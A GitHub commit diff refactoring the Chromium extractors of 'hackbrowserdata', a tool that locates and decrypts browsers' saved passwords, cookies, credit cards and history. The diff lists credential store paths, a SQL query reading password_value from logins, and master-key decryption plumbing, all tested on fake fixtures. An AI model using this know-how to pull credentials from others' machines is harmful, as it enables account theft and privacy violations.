refactor(browser): give each base Sources and Extract (#714)

* refactor(browser): give each base Sources and Extract

browser.Input carried every base's secret, so no base said what it needs.
Each base now takes its own secret as a typed parameter, and app holds the
one switch that knows all three. Safari's files no longer need ../ paths.

* refactor(app): make execute the runner's export method

* docs: add a package map to CONTRIBUTING.md

* refactor(app): keep each base's secret on the runner

The bases interface had one real implementation and existed for the test
fake, so it held two of a run's three secrets. The runner holds them all,
and the run tests use real fixtures.

* refactor(chromium): pass data where a function was passed

DiscoverAt took a UserDataDir field by field, the Opera extension list was
a second function for one JSON key, and NeedsMasterKeys repeated by hand
which extractors decrypt.

* refactor(app): set both passwords after the flags are valid

The keychain password went in as a ValidateDump argument and the Firefox
one was assigned afterwards; cmd now sets both the same way.

* refactor: rename dumpKeysWith and CandidatePaths

buildKeyFile says what it returns, and DirRelativePaths says what its paths
are relative to. A failed browser's dir ID no longer comes from a cast.

* refactor(app): plan extractions without a plan struct

dirPlan and plannedExtraction existed to carry a profile and three lists.
An Extraction now holds its Profile, and planExtractions returns the lists.

* refactor(browser): rename profileAt and downloadsOf

profileAt returned a user data dir in two shapes, and downloadsOf returned
a function. Both bases now have dirFromProfilePath with one shape, and
Safari has newDownloadExtractor beside its other constructors.

* refactor: use one short name for a user data dir in app

Fields said UserDataDirID beside Dirs and DirFailure, and runDir did not
say what it runs. They are DirID and runExtractions; the type keeps its
full name.

* refactor(app): rename withData to dropEmptyProfiles

With reads as adding something, and the function removes profiles. hasData
loses a parameter that always held sourcesFor's result.

* refactor: rename five functions that misstate what they do

untilDone had no verb, canCreateIn asked a yes/no question but returned an
error, failAll only built results, sortKeyOf was the last xxxOf, and
checkProfilePath returned a value where its siblings return only an error.

* refactor: name forks as forks and drop the For lookups

The fork table was typed override while every variable said fork, and six
lookups were named for a preposition, not for what they return. The other
renames make one name mean one thing: extractors, dataSources, extractFile.

* refactor(browser): drop parameters Sources and Extract ignore

No interface makes the three bases share a signature, so the blank
parameters only hid that Chromium's sources vary by dir, Safari's by
profile, and that only Safari's extraction can be cancelled.

* refactor(browser): ask a base for one category's sources

Sources returned every category's files, so its name had no object and
each base carried a loop projecting its table. Keyed by category it is
the same lookup as Extract and NeedsMasterKeys.

* refactor: report a locked keychain as data, not a log line

Dump and DumpKeys return results for cmd to print, yet warned about the
keychain themselves, with the sentence passed in as an argument. Now cmd
says every sentence; warnIfLocked and printNothingFound take no message.

* refactor(cmd): rename printExported to printExportedFiles

Exported is an adjective; the function lists the files a run wrote.
This commit is contained in:
Roger authored and GitHub committed 2026-11-22 23:52:12 +08:00
1 parent f36790d4dd
commit c823d83e57
53 files changed
+1238 -1167

No files matched your search

+13 -15
View File
@@ -19,7 +19,7 @@ var profileMarkers = []string{"Preferences", "Preferences_02"}
// Discover yields nothing for a missing user data dir; any other failure is returned beside whatever was found.
func Discover(chromiumBrowser browser.Browser, options browser.DiscoverOptions) ([]browser.UserDataDir, error) {
if dir, ok := profileAt(chromiumBrowser, options.ProfilePath); ok {
if dir, ok := dirFromProfilePath(chromiumBrowser, options.ProfilePath); ok {
return []browser.UserDataDir{dir}, nil
}
paths, err := userDataDirPaths(chromiumBrowser, options)
@@ -41,23 +41,21 @@ func Discover(chromiumBrowser browser.Browser, options browser.DiscoverOptions)
return dirs, errors.Join(errs...)
}
// DiscoverAt reads the profiles of a user data dir the table does not name, such as a copy restore was given, in the
// on-disk format vaultKind names.
func DiscoverAt(chromiumBrowser browser.Browser, vaultKind string, id browser.UserDataDirID, path string) (browser.UserDataDir, error) {
if !isVaultKind(vaultKind) {
return browser.UserDataDir{}, fmt.Errorf("unknown vault kind %q", vaultKind)
// DiscoverProfiles reads the profiles of a user data dir the table does not name, such as a copy restore was given, in
// the on-disk format dir.VaultKind names.
func DiscoverProfiles(dir browser.UserDataDir) ([]browser.Profile, error) {
if !isKnownVaultKind(dir.VaultKind) {
return nil, fmt.Errorf("unknown vault kind %q", dir.VaultKind)
}
dir := browser.UserDataDir{ID: id, Browser: chromiumBrowser, Path: path, VaultKind: vaultKind}
profiles, err := discoverProfiles(dir)
if err != nil {
return dir, fmt.Errorf("read %s: %w", path, err)
return nil, fmt.Errorf("read %s: %w", dir.Path, err)
}
dir.Profiles = profiles
return dir, nil
return profiles, nil
}
// profileAt takes chrome://version's path: a profile dir without Local State selects that profile of its parent.
func profileAt(chromiumBrowser browser.Browser, path string) (browser.UserDataDir, bool) {
// dirFromProfilePath takes chrome://version's path: a profile dir without Local State selects that profile of its parent.
func dirFromProfilePath(chromiumBrowser browser.Browser, path string) (browser.UserDataDir, bool) {
if path == "" || !isProfileDir(path) || hasAnyFile(path, localState.RelativePaths()) {
return browser.UserDataDir{}, false
}
@@ -141,9 +139,9 @@ func isSkippedProfileDir(name string) bool {
func profileFilePaths(dir browser.UserDataDir) []string {
var paths []string
for _, extractor := range kindExtractors(vaultKindOf(dir)) {
for _, source := range extractor.Sources {
if !source.Shared {
for _, extractor := range dirExtractors(dir) {
for _, source := range extractor.sources {
if !source.FromUserDataDir {
paths = append(paths, source.RelativePaths()...)
}
}
+12 -20
View File
@@ -1,7 +1,6 @@
package chromium
import (
"context"
"errors"
"io/fs"
"os"
@@ -9,10 +8,11 @@ import (
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/masterkey"
"github.com/moond4rk/hackbrowserdata/internal/record"
)
var extensionJSONPaths = []string{
var extensionSettingsKeys = []string{
"extensions.settings",
"settings.extensions",
"settings.settings",
@@ -20,19 +20,20 @@ var extensionJSONPaths = []string{
var errNoExtensionList = errors.New("cannot find extensions in settings")
// newExtensionExtractor falls back to Preferences, where Linux builds and forks such as 360 keep the list.
func newExtensionExtractor(parse func(string, browser.Collector) error) browser.Extractor {
// newExtensionExtractor takes the settings keys the extension list may sit under, since forks such as Opera move it.
// It falls back to Preferences, where Linux builds and forks such as 360 keep the list.
func newExtensionExtractor(settingsKeys ...string) extractor {
sources := []browser.Source{securePreferences, preferences}
return browser.Extractor{
Sources: sources,
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
return extractor{
sources: sources,
extract: func(captured browser.ProfileSnapshot, _ masterkey.Set, out browser.Collector) error {
for _, source := range sources {
path, err := input.Path(source)
path, err := captured.Path(source)
if errors.Is(err, fs.ErrNotExist) {
continue
}
if err == nil {
err = parse(path, out)
err = extractExtensions(path, settingsKeys, out)
}
if !errors.Is(err, errNoExtensionList) {
return err
@@ -43,19 +44,14 @@ func newExtensionExtractor(parse func(string, browser.Collector) error) browser.
}
}
func extractExtensions(path string, out browser.Collector) error {
return extractExtensionsAt(path, extensionJSONPaths, out)
}
// extractExtensionsAt takes the JSON paths, because variants such as Opera keep extension settings elsewhere.
func extractExtensionsAt(path string, jsonPaths []string, out browser.Collector) error {
func extractExtensions(path string, settingsKeys []string, out browser.Collector) error {
data, err := os.ReadFile(path)
if err != nil {
return err
}
var settings gjson.Result
for _, key := range jsonPaths {
for _, key := range settingsKeys {
settings = gjson.GetBytes(data, key)
if settings.Exists() {
break
@@ -100,7 +96,3 @@ func isExtensionEnabled(extension gjson.Result) bool {
}
return extension.Get("state").Int() == 1
}
func extractOperaExtensions(path string, out browser.Collector) error {
return extractExtensionsAt(path, []string{"extensions.opsettings"}, out)
}
@@ -47,7 +47,7 @@ func TestExtractExtensions(t *testing.T) {
path := setupExtensionJSON(t)
var out testCollector
err := extractExtensions(path, &out)
err := extractExtensions(path, extensionSettingsKeys, &out)
got := collected[record.Extension](t, &out)
require.NoError(t, err)
require.Len(t, got, 2) // system (location=5) and component (location=10) skipped
@@ -66,7 +66,7 @@ func TestExtractExtensions_NoManifestSkipped(t *testing.T) {
}`)
var out testCollector
err := extractExtensions(path, &out)
err := extractExtensions(path, extensionSettingsKeys, &out)
got := collected[record.Extension](t, &out)
require.NoError(t, err)
assert.Empty(t, got)
@@ -74,11 +74,11 @@ func TestExtractExtensions_NoManifestSkipped(t *testing.T) {
func TestExtractExtensions_MissingSettingsPath(t *testing.T) {
path := createTestJSON(t, "Secure Preferences", `{"something": "else"}`)
err := extractExtensions(path, &testCollector{})
err := extractExtensions(path, extensionSettingsKeys, &testCollector{})
require.Error(t, err)
}
func TestExtractOperaExtensions(t *testing.T) {
func TestExtractExtensions_OperaSettingsKey(t *testing.T) {
path := createTestJSON(t, "Secure Preferences", `{
"extensions": {
"opsettings": {
@@ -100,7 +100,7 @@ func TestExtractOperaExtensions(t *testing.T) {
}`)
var out testCollector
err := extractOperaExtensions(path, &out)
err := extractExtensions(path, []string{"extensions.opsettings"}, &out)
got := collected[record.Extension](t, &out)
require.NoError(t, err)
require.Len(t, got, 1) // system extension skipped
@@ -15,12 +15,9 @@ const (
defaultLoginQuery = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
// accountLoginData holds the signed-in account's logins, which Chrome keeps apart from Login Data.
const accountLoginData = "Login Data For Account"
func extractPasswords(masterKeys masterkey.Set, path string, out browser.Collector) error {
store := record.StoreLocal
if filepath.Base(path) == accountLoginData {
if filepath.Base(path) == accountLoginData.RelativePath {
store = record.StoreAccount
}
database, err := sqlitex.Open(path)
@@ -40,7 +40,7 @@ func TestExtractPasswords(t *testing.T) {
// TestExtractPasswords_UndecryptableBlobStillListed keeps such a login, or a missing key would shrink the export.
func TestExtractPasswords_UndecryptableBlobStillListed(t *testing.T) {
path := createTestDB(t, accountLoginData, loginsSchema,
path := createTestDB(t, accountLoginData.RelativePath, loginsSchema,
insertLogin("https://enc.com", "https://enc.com/login", "carol", "763130deadbeef", 13350000000000000),
)
+61 -51
View File
@@ -1,8 +1,8 @@
package chromium
import (
"context"
"errors"
"fmt"
"io/fs"
"github.com/moond4rk/hackbrowserdata/internal/browser"
@@ -11,82 +11,92 @@ import (
)
var (
localState = browser.Source{RelativePath: "Local State", Shared: true, Optional: true}
loginData = browser.Source{RelativePath: "Login Data", Optional: true}
loginDataForAccount = browser.Source{RelativePath: accountLoginData, Optional: true}
cookies = browser.Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}}
bookmarks = browser.Source{RelativePath: "Bookmarks"}
history = browser.Source{RelativePath: "History"}
webData = browser.Source{RelativePath: "Web Data"}
securePreferences = browser.Source{RelativePath: "Secure Preferences"}
preferences = browser.Source{RelativePath: "Preferences", Optional: true}
localStorage = browser.Source{RelativePath: "Local Storage/leveldb", IsDir: true}
sessionStorage = browser.Source{RelativePath: "Session Storage", IsDir: true}
yaPassmanData = browser.Source{RelativePath: "Ya Passman Data"}
yaCreditCards = browser.Source{RelativePath: "Ya Credit Cards"}
localState = browser.Source{RelativePath: "Local State", FromUserDataDir: true, Shared: true, Optional: true}
loginData = browser.Source{RelativePath: "Login Data", Optional: true}
accountLoginData = browser.Source{RelativePath: "Login Data For Account", Optional: true} // the signed-in account's logins
cookies = browser.Source{RelativePath: "Network/Cookies", Fallbacks: []string{"Cookies"}}
bookmarks = browser.Source{RelativePath: "Bookmarks"}
history = browser.Source{RelativePath: "History"}
webData = browser.Source{RelativePath: "Web Data"}
securePreferences = browser.Source{RelativePath: "Secure Preferences"}
preferences = browser.Source{RelativePath: "Preferences", Optional: true}
localStorage = browser.Source{RelativePath: "Local Storage/leveldb", IsDir: true}
sessionStorage = browser.Source{RelativePath: "Session Storage", IsDir: true}
yaPassmanData = browser.Source{RelativePath: "Ya Passman Data"}
yaCreditCards = browser.Source{RelativePath: "Ya Credit Cards"}
)
var defaultExtractors = browser.Extractors{
category.Password: newDecryptingExtractor(extractPasswords, loginData, loginDataForAccount),
// extractor is how one category is read: the files it needs, and how it parses them with the dir's master keys.
type extractor struct {
sources []browser.Source
needsMasterKeys bool
extract func(captured browser.ProfileSnapshot, masterKeys masterkey.Set, out browser.Collector) error
}
var defaultExtractors = map[category.Category]extractor{
category.Password: newDecryptingExtractor(extractPasswords, loginData, accountLoginData),
category.Cookie: newDecryptingExtractor(extractCookies, cookies),
category.Bookmark: newPlainExtractor(extractBookmarks, bookmarks),
category.History: newPlainExtractor(extractHistories, history),
category.Download: newPlainExtractor(extractDownloads, history),
category.CreditCard: newDecryptingExtractor(extractCreditCards, webData),
category.Extension: newExtensionExtractor(extractExtensions),
category.Extension: newExtensionExtractor(extensionSettingsKeys...),
category.LocalStorage: newPlainExtractor(extractLocalStorage, localStorage),
category.SessionStorage: newPlainExtractor(extractSessionStorage, sessionStorage),
}
// NeedsMasterKeys reports whether dataCategory's values are sealed with the dir's master keys, so a run that asks only
// for the others never retrieves a key.
func NeedsMasterKeys(dataCategory category.Category) bool {
switch dataCategory {
case category.Password, category.Cookie, category.CreditCard:
return true
default:
return false
}
// Sources lists the files dataCategory is read from in any profile of dir; the dir's browser may not support it.
func Sources(dir browser.UserDataDir, dataCategory category.Category) (sources []browser.Source, supported bool) {
extractor, ok := dirExtractors(dir)[dataCategory]
return extractor.sources, ok
}
// withoutExtensionList names forks whose Preferences files hold no extension list, so extensions are unsupported there.
var withoutExtensionList = map[string]bool{"qq": true, "sogou": true}
func Extractors(dir browser.UserDataDir, _ browser.Profile) browser.Extractors {
extractors := kindExtractors(vaultKindOf(dir))
if withoutExtensionList[dir.Browser.Name] {
delete(extractors, category.Extension)
// Extract decrypts with masterKeys, which lack each key version that could not be retrieved.
func Extract(captured browser.ProfileSnapshot, masterKeys masterkey.Set, dataCategory category.Category, out browser.Collector) error {
extractor, ok := dirExtractors(captured.UserDataDir)[dataCategory]
if !ok {
return fmt.Errorf("%s has no %s extractor", captured.UserDataDir.Browser.Name, dataCategory)
}
return extractors
return extractor.extract(captured, masterKeys, out)
}
func kindExtractors(vaultKind string) browser.Extractors {
extractors := make(browser.Extractors, len(defaultExtractors))
// NeedsMasterKeys reports whether dir seals dataCategory's values with its master keys, so a run that asks only for the
// other categories never retrieves a key.
func NeedsMasterKeys(dir browser.UserDataDir, dataCategory category.Category) bool {
return dirExtractors(dir)[dataCategory].needsMasterKeys
}
func dirExtractors(dir browser.UserDataDir) map[category.Category]extractor {
extractors := make(map[category.Category]extractor, len(defaultExtractors))
for dataCategory, extractor := range defaultExtractors {
extractors[dataCategory] = extractor
}
if fork, ok := overrideForVaultKind(vaultKind); ok {
if fork, ok := findFork(dir); ok {
for dataCategory, extractor := range fork.extractors {
extractors[dataCategory] = extractor
}
for _, dataCategory := range fork.unsupported {
delete(extractors, dataCategory)
}
}
return extractors
}
// newDecryptingExtractor parses each file in turn, so a store that is missing or broken keeps the others' records.
func newDecryptingExtractor(parse func(masterkey.Set, string, browser.Collector) error, sources ...browser.Source) browser.Extractor {
return browser.Extractor{
// newDecryptingExtractor extracts each file in turn, so a store that is missing or broken keeps the others' records.
func newDecryptingExtractor(extractFile func(masterkey.Set, string, browser.Collector) error, dataSources ...browser.Source) extractor {
return extractor{
// The dir's master keys come from KeySources, so a decrypting extraction must find them in the snapshot too.
Sources: append(sources, KeySources()...),
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
sources: append(dataSources, KeySources()...),
needsMasterKeys: true,
extract: func(captured browser.ProfileSnapshot, masterKeys masterkey.Set, out browser.Collector) error {
var errs []error
for _, source := range sources {
path, err := input.Path(source)
for _, source := range dataSources {
path, err := captured.Path(source)
if source.Optional && errors.Is(err, fs.ErrNotExist) {
continue
}
if err == nil {
err = parse(input.MasterKeys(), path, out)
err = extractFile(masterKeys, path, out)
}
errs = append(errs, err)
}
@@ -95,15 +105,15 @@ func newDecryptingExtractor(parse func(masterkey.Set, string, browser.Collector)
}
}
func newPlainExtractor(parse func(string, browser.Collector) error, source browser.Source) browser.Extractor {
return browser.Extractor{
Sources: []browser.Source{source},
Extract: func(_ context.Context, input browser.Input, out browser.Collector) error {
path, err := input.Path(source)
func newPlainExtractor(extractFile func(string, browser.Collector) error, source browser.Source) extractor {
return extractor{
sources: []browser.Source{source},
extract: func(captured browser.ProfileSnapshot, _ masterkey.Set, out browser.Collector) error {
path, err := captured.Path(source)
if err != nil {
return err
}
return parse(path, out)
return extractFile(path, out)
},
}
}
+40 -23
View File
@@ -1,7 +1,6 @@
package chromium
import (
"context"
"testing"
"github.com/stretchr/testify/assert"
@@ -10,15 +9,16 @@ import (
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/category"
"github.com/moond4rk/hackbrowserdata/internal/record"
"github.com/moond4rk/hackbrowserdata/internal/snapshot"
)
func TestExtractors_CoverEveryCategory(t *testing.T) {
extractors := Extractors(browser.UserDataDir{Browser: testBrowser("chrome")}, browser.Profile{})
extractors := dirExtractors(browser.UserDataDir{Browser: testBrowser("chrome")})
for _, dataCategory := range category.All() {
extractor, ok := extractors[dataCategory]
if assert.Truef(t, ok, "no extractor for %s", dataCategory) {
assert.NotNil(t, extractor.Extract, dataCategory)
assert.NotEmpty(t, extractor.Sources, dataCategory)
assert.NotNil(t, extractor.extract, dataCategory)
assert.NotEmpty(t, extractor.sources, dataCategory)
}
}
}
@@ -26,9 +26,23 @@ func TestExtractors_CoverEveryCategory(t *testing.T) {
func TestExtractors_OverridesFollowTheBrowserNotTheDirectory(t *testing.T) {
yandex, ok := browser.Lookup("yandex")
require.True(t, ok)
extractors := Extractors(browser.UserDataDir{ID: "yandex-2", Browser: yandex}, browser.Profile{})
assert.Equal(t, "Ya Passman Data", extractors[category.Password].Sources[0].RelativePath)
assert.Equal(t, "Ya Credit Cards", extractors[category.CreditCard].Sources[0].RelativePath)
dir := browser.UserDataDir{ID: "yandex-2", Browser: yandex}
for dataCategory, relativePath := range map[category.Category]string{
category.Password: "Ya Passman Data", category.CreditCard: "Ya Credit Cards",
} {
sources, supported := Sources(dir, dataCategory)
require.True(t, supported, dataCategory)
assert.Equal(t, relativePath, sources[0].RelativePath)
}
}
func TestSources_ForksWithoutAnExtensionList(t *testing.T) {
for _, name := range []string{"qq", "sogou"} {
chromiumBrowser, ok := browser.Lookup(name)
require.True(t, ok, name)
_, supported := Sources(browser.UserDataDir{Browser: chromiumBrowser}, category.Extension)
assert.False(t, supported, name)
}
}
// TestExtractors_EachProfileReadsItsOwnFiles reads one snapshot shared by every profile; each must get its own files.
@@ -41,7 +55,7 @@ func TestExtractors_EachProfileReadsItsOwnFiles(t *testing.T) {
want := map[string]string{"Default": "Home", "Profile 1": "Work"}
for _, profile := range []browser.Profile{{Name: "Default", RelativePath: "Default"}, {Name: "Profile 1", RelativePath: "Profile 1"}} {
var out testCollector
require.NoError(t, Extractors(dir, profile)[category.History].Extract(context.Background(), browser.NewInput(dirSnapshot, profile, nil, nil), &out))
require.NoError(t, Extract(browser.NewProfileSnapshot(dir, profile, dirSnapshot), nil, category.History, &out))
got := collected[record.History](t, &out)
require.Len(t, got, 1, profile.Name)
assert.Equal(t, want[profile.Name], got[0].Title, profile.Name)
@@ -58,16 +72,16 @@ func TestExtractors_ExtensionsFallBackToPreferences(t *testing.T) {
{"opera", `{"extensions": {"opsettings": {"ext1": {"location": 1, "manifest": {"name": "Ext", "version": "1.0"}}}}}`},
}
for _, testCase := range tests {
input := browser.NewInput(snapshotOf(t, map[string]string{
"Default/Secure Preferences": createTestJSON(t, "Secure Preferences", `{"protection": {"macs": {}}}`),
"Default/Preferences": createTestJSON(t, "Preferences", testCase.preferences),
}), browser.Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
chromiumBrowser, ok := browser.Lookup(testCase.browserName)
require.True(t, ok, testCase.browserName)
captured := browser.NewProfileSnapshot(browser.UserDataDir{Browser: chromiumBrowser}, browser.Profile{Name: "Default", RelativePath: "Default"},
snapshotOf(t, map[string]string{
"Default/Secure Preferences": createTestJSON(t, "Secure Preferences", `{"protection": {"macs": {}}}`),
"Default/Preferences": createTestJSON(t, "Preferences", testCase.preferences),
}))
var out testCollector
extractor := Extractors(browser.UserDataDir{Browser: chromiumBrowser}, input.Profile)[category.Extension]
require.NoError(t, extractor.Extract(context.Background(), input, &out), testCase.browserName)
require.NoError(t, Extract(captured, nil, category.Extension, &out), testCase.browserName)
got := collected[record.Extension](t, &out)
require.Len(t, got, 1, testCase.browserName)
assert.Equal(t, "Ext", got[0].Name, testCase.browserName)
@@ -78,13 +92,13 @@ func TestDecryptingExtractor_ReadsSourcesInOrder(t *testing.T) {
local := createTestDB(t, "Login Data", loginsSchema, insertLogin("https://local.example", "", "local-user", "", 13340000000000000))
account := createTestDB(t, "Login Data For Account", loginsSchema,
insertLogin("https://account.example", "", "account-user", "", 13360000000000000))
input := browser.NewInput(snapshotOf(t, map[string]string{
captured := defaultProfileSnapshot(snapshotOf(t, map[string]string{
"Default/Login Data": local,
"Default/Login Data For Account": account,
}), browser.Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
}))
var out testCollector
require.NoError(t, defaultExtractors[category.Password].Extract(context.Background(), input, &out))
require.NoError(t, defaultExtractors[category.Password].extract(captured, nil, &out))
got := collected[record.Login](t, &out)
require.Len(t, got, 2)
assert.Equal(t, "local-user", got[0].Username)
@@ -96,11 +110,10 @@ func TestDecryptingExtractor_ReadsSourcesInOrder(t *testing.T) {
func TestDecryptingExtractor_SkipsAbsentOptionalSource(t *testing.T) {
account := createTestDB(t, "Login Data For Account", loginsSchema,
insertLogin("https://account.example", "", "account-user", "", 13360000000000000))
input := browser.NewInput(snapshotOf(t, map[string]string{"Default/Login Data For Account": account}),
browser.Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
captured := defaultProfileSnapshot(snapshotOf(t, map[string]string{"Default/Login Data For Account": account}))
var out testCollector
require.NoError(t, defaultExtractors[category.Password].Extract(context.Background(), input, &out))
require.NoError(t, defaultExtractors[category.Password].extract(captured, nil, &out))
got := collected[record.Login](t, &out)
require.Len(t, got, 1)
assert.Equal(t, record.StoreAccount, got[0].Store)
@@ -110,12 +123,16 @@ func TestDecryptingExtractor_BrokenSourceKeepsTheOthers(t *testing.T) {
broken := createTestJSON(t, "Login Data", "not a database")
account := createTestDB(t, "Login Data For Account", loginsSchema,
insertLogin("https://account.example", "", "account-user", "", 13360000000000000))
input := browser.NewInput(snapshotOf(t, map[string]string{
captured := defaultProfileSnapshot(snapshotOf(t, map[string]string{
"Default/Login Data": broken,
"Default/Login Data For Account": account,
}), browser.Profile{Name: "Default", RelativePath: "Default"}, nil, nil)
}))
var out testCollector
require.Error(t, defaultExtractors[category.Password].Extract(context.Background(), input, &out))
require.Error(t, defaultExtractors[category.Password].extract(captured, nil, &out))
assert.Len(t, collected[record.Login](t, &out), 1)
}
func defaultProfileSnapshot(dirSnapshot snapshot.Snapshot) browser.ProfileSnapshot {
return browser.NewProfileSnapshot(browser.UserDataDir{Browser: testBrowser("chrome")}, browser.Profile{Name: "Default", RelativePath: "Default"}, dirSnapshot)
}
+83
View File
@@ -0,0 +1,83 @@
package chromium
import (
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/category"
)
// vaultKindChromium is the keys.json kind of every Chromium browser not listed in forks.
const vaultKindChromium = "chromium"
// fork is a Chromium fork that stores data its own way: its browsers, its keys.json kind, the extractors it swaps, and
// the categories its files do not hold.
type fork struct {
browserNames []string
vaultKind string // "" keeps vaultKindChromium
extractors map[category.Category]extractor
unsupported []category.Category
}
// forks match Browser.Name, never UserDataDirID, which differs for a second user data dir of one browser.
var forks = []fork{
{
browserNames: []string{"yandex"},
vaultKind: "chromium-yandex",
extractors: map[category.Category]extractor{
category.Password: newDecryptingExtractor(extractYandexPasswords, yaPassmanData),
category.CreditCard: newDecryptingExtractor(extractYandexCreditCards, yaCreditCards),
},
},
{
browserNames: []string{"opera", "opera-gx", "vought"},
vaultKind: "chromium-opera",
extractors: map[category.Category]extractor{
category.Extension: newExtensionExtractor("extensions.opsettings"),
},
},
{
// QQ and Sogou keep no extension list in their Preferences files.
browserNames: []string{"qq", "sogou"},
unsupported: []category.Category{category.Extension},
},
}
func findForkByName(browserName string) (fork, bool) {
for _, candidate := range forks {
for _, name := range candidate.browserNames {
if name == browserName {
return candidate, true
}
}
}
return fork{}, false
}
func findForkByVaultKind(vaultKind string) (fork, bool) {
for _, candidate := range forks {
if candidate.vaultKind != "" && candidate.vaultKind == vaultKind {
return candidate, true
}
}
return fork{}, false
}
func isKnownVaultKind(vaultKind string) bool {
_, ok := findForkByVaultKind(vaultKind)
return ok || vaultKind == vaultKindChromium
}
// VaultKind names a vault's on-disk format, so a reader without the browser in its table still picks its files.
func VaultKind(chromiumBrowser browser.Browser) string {
if fork, ok := findForkByName(chromiumBrowser.Name); ok && fork.vaultKind != "" {
return fork.vaultKind
}
return vaultKindChromium
}
// findFork matches the browser's name first; a restored browser this build does not know matches by its kind.
func findFork(dir browser.UserDataDir) (fork, bool) {
if fork, ok := findForkByName(dir.Browser.Name); ok {
return fork, true
}
return findForkByVaultKind(dir.VaultKind)
}
+109
View File
@@ -0,0 +1,109 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/category"
"github.com/moond4rk/hackbrowserdata/internal/record"
)
func TestForks_NameChromiumBrowsers(t *testing.T) {
for _, fork := range forks {
for _, name := range fork.browserNames {
chromiumBrowser, ok := browser.Lookup(name)
if assert.Truef(t, ok, "fork %q names no browser", name) {
assert.Equalf(t, browser.Chromium, chromiumBrowser.Base, "fork %q is not a Chromium browser", name)
}
}
}
}
// TestForks_KindsAndNamesAreUnique keeps findForkByName and findForkByVaultKind from depending on table order.
func TestForks_KindsAndNamesAreUnique(t *testing.T) {
kinds := map[string]bool{vaultKindChromium: true}
names := map[string]bool{}
for _, fork := range forks {
if fork.vaultKind != "" {
assert.Falsef(t, kinds[fork.vaultKind], "kind %q is used twice", fork.vaultKind)
kinds[fork.vaultKind] = true
}
for _, name := range fork.browserNames {
assert.Falsef(t, names[name], "browser %q is in two forks", name)
names[name] = true
}
}
}
// TestVaultKind_RoundTripsEveryFork checks a kind leads back to its fork, or restore would parse it as plain Chromium.
func TestVaultKind_RoundTripsEveryFork(t *testing.T) {
for _, fork := range forks {
for _, name := range fork.browserNames {
kind := VaultKind(browser.Browser{Name: name})
if fork.vaultKind == "" {
assert.Equalf(t, vaultKindChromium, kind, "fork %q keeps Chromium's kind", name)
continue
}
require.Equalf(t, fork.vaultKind, kind, "fork %q", name)
restored, ok := findForkByVaultKind(kind)
require.True(t, ok, kind)
assert.Equalf(t, categoriesOf(fork.extractors), categoriesOf(restored.extractors), "kind %s of %q", kind, name)
}
}
assert.Equal(t, vaultKindChromium, VaultKind(browser.Browser{Name: "chrome"}))
assert.True(t, isKnownVaultKind(vaultKindChromium))
assert.False(t, isKnownVaultKind("bogus"))
assert.False(t, isKnownVaultKind(""))
}
// TestDiscoverProfiles_ReadsAnUnknownBrowserInItsVaultKind covers a restored fork this build does not know by name.
func TestDiscoverProfiles_ReadsAnUnknownBrowserInItsVaultKind(t *testing.T) {
nightly := browser.Browser{Name: "nightly", DisplayName: "Nightly", Base: browser.Chromium}
dir := browser.UserDataDir{ID: "nightly", Browser: nightly, Path: t.TempDir(), VaultKind: "chromium-yandex"}
_, err := DiscoverProfiles(dir)
require.NoError(t, err)
sources, supported := Sources(dir, category.Password)
require.True(t, supported)
assert.Equal(t, "Ya Passman Data", sources[0].RelativePath)
dir.VaultKind = "bogus"
_, err = DiscoverProfiles(dir)
require.Error(t, err)
}
func categoriesOf(extractors map[category.Category]extractor) []category.Category {
var out []category.Category
for _, dataCategory := range category.All() {
if _, ok := extractors[dataCategory]; ok {
out = append(out, dataCategory)
}
}
return out
}
func TestExtractors_OperaReadsOpsettings(t *testing.T) {
preferencesPath := createTestJSON(t, "Secure Preferences", `{
"extensions": {"opsettings": {"ext1": {"location": 1, "manifest": {"name": "Opera Ext", "version": "1.0"}}}}
}`)
dirSnapshot := snapshotOf(t, map[string]string{"Default/Secure Preferences": preferencesPath})
profile := browser.Profile{Name: "Default", RelativePath: "Default"}
for _, name := range []string{"opera", "opera-gx", "vought"} {
chromiumBrowser, ok := browser.Lookup(name)
require.True(t, ok, name)
var out testCollector
captured := browser.NewProfileSnapshot(browser.UserDataDir{Browser: chromiumBrowser}, profile, dirSnapshot)
require.NoError(t, Extract(captured, nil, category.Extension, &out), name)
got := collected[record.Extension](t, &out)
require.Len(t, got, 1, name)
assert.Equal(t, "Opera Ext", got[0].Name, name)
}
chrome, ok := browser.Lookup("chrome")
require.True(t, ok)
err := Extract(browser.NewProfileSnapshot(browser.UserDataDir{Browser: chrome}, profile, dirSnapshot), nil, category.Extension, &testCollector{})
require.Error(t, err, "Chrome has no opsettings fallback")
}
-76
View File
@@ -1,76 +0,0 @@
package chromium
import (
"github.com/moond4rk/hackbrowserdata/internal/browser"
"github.com/moond4rk/hackbrowserdata/internal/category"
)
// vaultKindChromium is the keys.json kind of every Chromium browser no override covers.
const vaultKindChromium = "chromium"
// override is a fork that stores data its own way: its browsers, its keys.json kind, and the extractors it swaps.
type override struct {
browserNames []string
vaultKind string
extractors browser.Extractors
}
// overrides match Browser.Name, never UserDataDirID, which differs for a second user data dir of one browser.
var overrides = []override{
{
browserNames: []string{"yandex"},
vaultKind: "chromium-yandex",
extractors: browser.Extractors{
category.Password: newDecryptingExtractor(extractYandexPasswords, yaPassmanData),
category.CreditCard: newDecryptingExtractor(extractYandexCreditCards, yaCreditCards),
},
},
{
browserNames: []string{"opera", "opera-gx", "vought"},
vaultKind: "chromium-opera",
extractors: browser.Extractors{
category.Extension: newExtensionExtractor(extractOperaExtensions),
},
},
}
func overrideFor(browserName string) (override, bool) {
for _, fork := range overrides {
for _, name := range fork.browserNames {
if name == browserName {
return fork, true
}
}
}
return override{}, false
}
func overrideForVaultKind(vaultKind string) (override, bool) {
for _, fork := range overrides {
if fork.vaultKind == vaultKind {
return fork, true
}
